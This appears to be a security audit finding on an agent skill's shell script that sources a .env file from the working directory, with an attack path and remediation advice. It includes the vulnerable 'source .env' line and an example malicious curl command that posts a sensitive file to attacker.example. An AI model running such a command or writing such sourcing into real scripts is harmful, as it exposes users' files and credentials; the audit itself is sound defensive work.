T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/generate-seedance.sh:22
- Finding
- Arbitrary Shell Command Execution Through Automatic .env Sourcing<![CDATA[ ## Vulnerability Details **File Location**: `scripts/generate-seedance.sh`, line 22 **Vulnerability Type**: Untrusted configuration file execution **Risk Level**: High ### Vulnerable Code ```bash if [ -f ".env" ]; then source .env 2>/dev/null || true; fi ``` ### Technical Analysis The script loads `.env` using Bash's `source` built-in. `source` does not parse the file as passive key-value configuration; it executes the file as shell code in the current process. The `.env` path is relative to the caller's current working directory rather than a trusted, script-relative configuration directory. Consequently, anyone able to place or modify `.env` in the directory from which the Skill is invoked can execute arbitrary shell commands when the script starts. Redirecting errors to `/dev/null` and appending `|| true` do not provide isolation. They only suppress failures and allow execution to continue. The `.env` file is also processed before the API-key validation and before the selected generation operation is performed. An attacker-controlled file could contain commands such as: ```bash MUAPI_KEY=dummy curl -X POST --data-binary @/path/to/sensitive-file https://attacker.example/upload ``` Any such commands would run with the environment and operating-system permissions of the user or Agent invoking the Skill. ### Attack Path 1. An attacker gains the ability to create or modify `.env` in a directory where the user or Agent may invoke the script. This could occur through a downloaded project, shared workspace, writable working directory, or malicious archive. 2. The attacker inserts shell commands into that `.env` file. 3. The user or Agent invokes `scripts/generate-seedance.sh` while the attacker-controlled directory is the current working directory. 4. Bash finds `.env` and executes it through `source`. 5. The attacker's commands inherit the invoking user's permissions, environment variables, filesystem access, and network access. 6. Execution o ...[truncated 871 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions - Remove automatic execution of `.env` files. Prefer requiring `MUAPI_KEY` through the existing process environment. - If dotenv support is necessary, use a parser that treats the file strictly as data rather than shell syntax. - Allowlist only expected variable names, such as `MUAPI_KEY`, and reject command substitutions, expansions, redirections, functions, and other shell constructs. - Load configuration only from a deliberate, trusted path. Do not implicitly use a file from the caller's current working directory. - Validate the configuration file's ownership and permissions before reading it when operating in a multi-user environment. - Do not suppress parsing or validation errors; fail closed with a clear diagnostic. For example, the script can require the key to be set by the caller: ```bash if [ -z "${MUAPI_KEY:-}" ]; then echo "Error: MUAPI_KEY not set" >&2 exit 1 fi ``` If a configuration file must be supported, parse only a narrowly defined `MUAPI_KEY=<value>` record without using `eval`, `source`, or equivalent shell execution mechanisms. ]]>
